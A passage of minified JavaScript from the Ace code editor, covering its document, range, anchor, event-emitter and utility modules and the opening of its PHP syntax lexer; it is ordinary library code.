this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),ace.define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),ace.define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),ace.define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),ace.define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){!e instanceof o&&(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),ace.define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),ace.define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),ace.define(\"ace/mode/php/php\",[\"require\",\"exports\",\"module\"],function(e,t,n){var r={Constants:{}};r.Constants.T_INCLUDE=262,r.Constants.T_INCLUDE_ONCE=261,r.Constants.T_EVAL=260,r.Constants.T_REQUIRE=259,r.Constants.T_REQUIRE_ONCE=258,r.Constants.T_LOGICAL_OR=263,r.Constants.T_LOGICAL_XOR=264,r.Constants.T_LOGICAL_AND=265,r.Constants.T_PRINT=266,r.Constants.T_PLUS_EQUAL=277,r.Constants.T_MINUS_EQUAL=276,r.Constants.T_MUL_EQUAL=275,r.Constants.T_DIV_EQUAL=274,r.Constants.T_CONCAT_EQUAL=273,r.Constants.T_MOD_EQUAL=272,r.Constants.T_AND_EQUAL=271,r.Constants.T_OR_EQUAL=270,r.Constants.T_XOR_EQUAL=269,r.Constants.T_SL_EQUAL=268,r.Constants.T_SR_EQUAL=267,r.Constants.T_BOOLEAN_OR=278,r.Constants.T_BOOLEAN_AND=279,r.Constants.T_IS_EQUAL=283,r.Constants.T_IS_NOT_EQUAL=282,r.Constants.T_IS_IDENTICAL=281,r.Constants.T_IS_NOT_IDENTICAL=280,r.Constants.T_IS_SMALLER_OR_EQUAL=285,r.Constants.T_IS_GREATER_OR_EQUAL=284,r.Constants.T_SL=287,r.Constants.T_SR=286,r.Constants.T_INSTANCEOF=288,r.Constants.T_INC=297,r.Constants.T_DEC=296,r.Constants.T_INT_CAST=295,r.Constants.T_DOUBLE_CAST=294,r.Constants.T_STRING_CAST=293,r.Constants.T_ARRAY_CAST=292,r.Constants.T_OBJECT_CAST=291,r.Constants.T_BOOL_CAST=290,r.Constants.T_UNSET_CAST=289,r.Constants.T_NEW=299,r.Constants.T_CLONE=298,r.Constants.T_EXIT=300,r.Constants.T_IF=301,r.Constants.T_ELSEIF=302,r.Constants.T_ELSE=303,r.Constants.T_ENDIF=304,r.Constants.T_LNUMBER=305,r.Constants.T_DNUMBER=306,r.Constants.T_STRING=307,r.Constants.T_STRING_VARNAME=308,r.Constants.T_VARIABLE=309,r.Constants.T_NUM_STRING=310,r.Constants.T_INLINE_HTML=311,r.Constants.T_CHARACTER=312,r.Constants.T_BAD_CHARACTER=313,r.Constants.T_ENCAPSED_AND_WHITESPACE=314,r.Constants.T_CONSTANT_ENCAPSED_STRING=315,r.Constants.T_ECHO=316,r.Constants.T_DO=317,r.Constants.T_WHILE=318,r.Constants.T_ENDWHILE=319,r.Constants.T_FOR=320,r.Constants.T_ENDFOR=321,r.Constants.T_FOREACH=322,r.Constants.T_ENDFOREACH=323,r.Constants.T_DECLARE=324,r.Constants.T_ENDDECLARE=325,r.Constants.T_AS=326,r.Constants.T_SWITCH=327,r.Constants.T_ENDSWITCH=328,r.Constants.T_CASE=329,r.Constants.T_DEFAULT=330,r.Constants.T_BREAK=331,r.Constants.T_CONTINUE=332,r.Constants.T_GOTO=333,r.Constants.T_FUNCTION=334,r.Constants.T_CONST=335,r.Constants.T_RETURN=336,r.Constants.T_TRY=337,r.Constants.T_CATCH=338,r.Constants.T_THROW=339,r.Constants.T_USE=340,r.Constants.T_GLOBAL=341,r.Constants.T_STATIC=347,r.Constants.T_ABSTRACT=346,r.Constants.T_FINAL=345,r.Constants.T_PRIVATE=344,r.Constants.T_PROTECTED=343,r.Constants.T_PUBLIC=342,r.Constants.T_VAR=348,r.Constants.T_UNSET=349,r.Constants.T_ISSET=350,r.Constants.T_EMPTY=351,r.Constants.T_HALT_COMPILER=352,r.Constants.T_CLASS=353,r.Constants.T_TRAIT=382,r.Constants.T_INTERFACE=354,r.Constants.T_EXTENDS=355,r.Constants.T_IMPLEMENTS=356,r.Constants.T_OBJECT_OPERATOR=357,r.Constants.T_DOUBLE_ARROW=358,r.Constants.T_LIST=359,r.Constants.T_ARRAY=360,r.Constants.T_CLASS_C=361,r.Constants.T_TRAIT_C=381,r.Constants.T_METHOD_C=362,r.Constants.T_FUNC_C=363,r.Constants.T_LINE=364,r.Constants.T_FILE=365,r.Constants.T_COMMENT=366,r.Constants.T_DOC_COMMENT=367,r.Constants.T_OPEN_TAG=368,r.Constants.T_OPEN_TAG_WITH_ECHO=369,r.Constants.T_CLOSE_TAG=370,r.Constants.T_WHITESPACE=371,r.Constants.T_START_HEREDOC=372,r.Constants.T_END_HEREDOC=373,r.Constants.T_DOLLAR_OPEN_CURLY_BRACES=374,r.Constants.T_CURLY_OPEN=375,r.Constants.T_PAAMAYIM_NEKUDOTAYIM=376,r.Constants.T_DOUBLE_COLON=376,r.Constants.T_NAMESPACE=377,r.Constants.T_NS_C=378,r.Constants.T_DIR=379,r.Constants.T_NS_SEPARATOR=380,r.Lexer=function(e,t){var n,i=function(e){if(e.match(/\\n/)!==null){var t=e.substring(0,1);e=\"[\"+e.split(/\\n/).join(t+\",\"+t)+'].join(\"\\\\n\")'}return e},s,o=t===undefined||/^(on|true|1)$/i.test(t.short_open_tag)?/(\\<\\?php\\s|\\<\\?|\\<\\%|\\<script language\\=('|\")?php('|\")?\\>)/i:/(\\<\\?php\\s|<\\?=|\\<script language\\=('|\")?php('|\")?\\>)/i,u=t===undefined||/^(on|true|1)$/i.test(t.short_open_tag)?/^(\\<\\?php\\s|\\<\\?|\\<\\%|\\<script language\\=('|\")?php('|\")?\\>)/i:/^(\\<\\?php\\s|<\\?=|\\<script language\\=('|\")?php('|\")?\\>)/i,a=[{value:r.Constants.T_NAMESPACE,re:/^namespace(?=\\s)/i},{value:r.Constants.T_USE,re:/^use(?=\\s)/i},{value:r.Constants.T_ABSTRACT,re:/^abstract(?=\\s)/i},{value:r.Constants.T_IMPLEMENTS,re:/^implements(?=\\s)/i},{value:r.Constants.T_INTERFACE,re:/^interface(?=\\s)/i},{value:r.Constants.T_CONST,re:/^const(?=\\s)/i},{value:r.Constants.T_STATIC,re:/^static(?=\\s)/i},{value:r.Constants.T_FINAL,re:/^final(?=\\s)/i},{value:r.Constants.T_VAR,re:/^var(?=\\s)/i},{value:r.Constants.T_GLOBAL,re:/^global(?=\\s)/i},{value:r.Constants.T_CLONE,re:/^clone(?=\\s)/i},{value:r.Constants.T_THROW,re:/^throw(?=\\s)/i},{value:r.Constants.T_EXTENDS,re:/^extends(?=\\s)/i},{value:r.Constants.T_AND_EQUAL,re:/^&=/},{value:r.Constants.T_AS,re:/^as(?=\\s)/i},{value:r.Constants.T_ARRAY_CAST,re:/^\\(array\\)/i},{value:r.Constants.T_BOOL_CAST,re:/^\\((bool|boolean)\\)/i},{value:r.Constants.T_DOUBLE_CAST,re:/^\\((real|float|double)\\)/i},{value:r.Constants.T_INT_CAST,re:/^\\((int|integer)\\)/i},{value:r.Constants.T_OBJECT_CAST,re:/^\\(object\\)/i},{value:r.Constants.T_STRING_CAST,re:/^\\(string\\)/i},{value:r.Constants.T_UNSET_CAST,re:/^\\(unset\\)/i},{value:r.Constants.T_TRY,re:/^try(?=\\s*{)/i},{value:r.Constants.T_CATCH,re:/^catch(?=\\s*\\()/i},{value:r.Constants.T_INSTANCEOF,re:/^instanceof(?=\\s)/i},{value:r.Constants.T_LOGICAL_OR,re:/^or(?=\\s)/i},{value:r.Constants.T_LOGICAL_AND,re:/^and(?=\\s)/i},{value:r.Constants.T_LOGICAL_XOR,re:/^xor(?=\\s)/i},{value:r.Constants.T_BOOLEAN_AND,re:/^&&/},{value:r.Constants.T_BOOLEAN_OR,re:/^\\|\\|/},{value:r.Constants.T_CONTINUE,re:/^continue(?=\\s|;)/i},{value:r.Constants.T_BREAK,re:/^break(?=\\s|;)/i},{value:r.Constants.T_ENDDECLARE,re:/^enddeclare(?=\\s|;)/i},{value:r.Constants.T_ENDFOR,re:/^endfor(?=\\s|;)/i},{value:r.Constants.T_ENDFOREACH,re:/^endforeach(?=\\s|;)/i},{value:r.Constants.T_ENDIF,re:/^endif(?=\\s|;)/i},{value:r.Constants.T_ENDSWITCH,re:/^endswitch(?=\\s|;)/i},{value:r.Constants.T_ENDWHILE,re:/^endwhile(?=\\s|;)/i},{value:r.Constants.T_CASE,re:/^case(?=\\s)/i},{value:r.Constants.T_DEFAULT,re:/^default(?=\\s|:)/i},{value:r.Constants.T_SWITCH,re:/^switch(?=[ (])/i},{value:r.Constants.T_EXIT,re:/^(exit|die)(?=[ \\(;])/i},{value:r.Constants.T_CLOSE_TAG,re:/^(\\?\\>|\\%\\>|\\<\\/script\\>)\\s?\\s?/i,func:function(e){return c=!1,e}},{value:r.Constants.T_DOUBLE_ARROW,re:/^\\=\\>/},{value:r.Constants.T_DOUBLE_COLON,re:/^\\:\\:/},{value:r.Constants.T_METHOD_C,re:/^__METHOD__/},{value:r.Constants.T_LINE,re:/^__LINE__/},{value:r.Constants.T_FILE,re:/^__FILE__/},{value:r.Constants.T_FUNC_C,re:/^__FUNCTION__/},{value:r.Constants.T_NS_C,re:/^__NAMESPACE__/},{value:r.Constants.T_TRAIT_C,re:/^__TRAIT__/},{value:r.Constants.T_DIR,re:/^__DIR__/},{value:r.Constants.T_CLASS_C,re:/^__CLASS__/},{value:r.Constants.T_INC,re:/^\\+\\+/},{value:r.Constants.T_DEC,re:/^\\-\\-/},{value:r.Constants.T_CONCAT_EQUAL,re:/^\\.\\=/},{value:r.Constants.T_DIV_EQUAL,re:/^\\/\\=/},{value:r.Constants.T_XOR_EQUAL,re:/^\\^\\=/},{value:r.Constants.T_MUL_EQUAL,re:/^\\*\\=/},{value:r.Constants.T_MOD_EQUAL,re:/^\\%\\=/},{value:r.Constants.T_SL_EQUAL,re:/^<<=/},{value:r.Constants.T_START_HEREDOC,re:/^<<<[A-Z_0-9]+\\s/i,func:function(e){return n=e.substring(3,e.length-1),e}},{value:r.Constants.T_SL,re:/^<</},{value:r.Constants.T_IS_SMALLER_OR_EQUAL,re:/^<=/},{value:r.Constants.T_SR_EQUAL,re:/^>>=/},{value:r.Constants.T_SR,re:/^>>/},{value:r.Constants.T_IS_GREATER_OR_EQUAL,re:/^>=/},{value:r.Constants.T_OR_EQUAL,re:/^\\|\\=/},{value:r.Constants.T_PLUS_EQUAL,re:/^\\+\\=/},{value:r.Constants.T_MINUS_EQUAL,re:/^-\\=/},{value:r.Constants.T_OBJECT_OPERATOR,re:/^\\-\\>/i},{value:r.Constants.T_CLASS,re:/^class(?=[\\s\\{])/i,afterWhitespace:!0},{value:r.Constants.T_TRAIT,re:/^trait(?=[\\s]+[A-Za-z])/i},{value:r.Constants.T_PUBLIC,re:/^public(?=[\\s])/i},{value:r.Constants.T_PRIVATE,re:/^private(?=[\\s])/i},{value:r.Constants.T_PROTECTED,re:/^protected(?=[\\s])/i},{value:r.Constants.T_ARRAY,re:/^array(?=\\s*?\\()/i},{value:r.Constants.T_EMPTY,re:/^empty(?=[ \\(])/i},{value:r.Constants.T_ISSET,re:/^isset(?=[ \\(])/i},{value:r.Constants.T_UNSET,re:/^unset(?=[ \\(])/i},{value:r.Constants.T_RETURN,re:/^return(?=[ \"'(;])/i},{value:r.Constants.T_FUNCTION,re:/^function(?=[ \"'(;])/i},{value:r.Constants.T_ECHO,re:/^echo(?=[ \"'(;])/i},{value:r.Constants.T_LIST,re:/^list(?=\\s*?\\()/i},{value:r.Constants.T_PRINT,re:/^print(?=[ \"'(;])/i},{value:r.Constants.T_INCLUDE,re:/^include(?=[ \"'(;])/i},{value:r.Constants.T_INCLUDE_ONCE,re:/^include_once(?=[ \"'(;])/i},{value:r.Constants.T_REQUIRE,re:/^require(?=[ \"'(;])/i},{value:r.Constants.T_REQUIRE_ONCE,re:/^require_once(?=[ \"'(;])/i},{value:r.Constants.T_NEW,re:/^new(?=[ ])/i},{value:r.Constants.T_COMMENT,re:/^\\/\\*([\\S\\s]*?)(?:\\*\\/|$)/},{value:r.Constants.T_COMMENT,re:/^\\/\\/.*(\\s)?/},{value:r.Constants.T_COMMENT,re:/^\\#.*(\\s)?/},{value:r.Constants.T_ELSEIF,re:/^elseif(?=[\\s(])/i},{value:r.Constants.T_GOTO,re:/^goto(?=[\\s(])/i},{value:r.Constants.T_ELSE,re:/^else(?=[\\s{:])/i},{value:r.Constants.T_IF,re:/^if(?=[\\s(])/i},{value:r.Constants.T_DO,re:/^do(?=[ {])/i},{value:r.Constants.T_WHILE,re:/^while(?=[ (])/i},{value:r.Constants.T_FOREACH,re:/^foreach(?=[ (])/i},{value:r.Constants.T_ISSET,re:/^isset(?=[ (])/i},{value:r.Constants.T_IS_IDENTICAL,re:/^===/},{value:r.Constants.T_IS_EQUAL,re:/^==/},{value:r.Constants.T_IS_NOT_IDENTICAL,re:/^\\!==/},{value:r.Constants.T_IS_NOT_EQUAL,re:/^(\\!=|\\<\\>)/},{value:r.Constants.T_FOR,re:/^for(?=[ 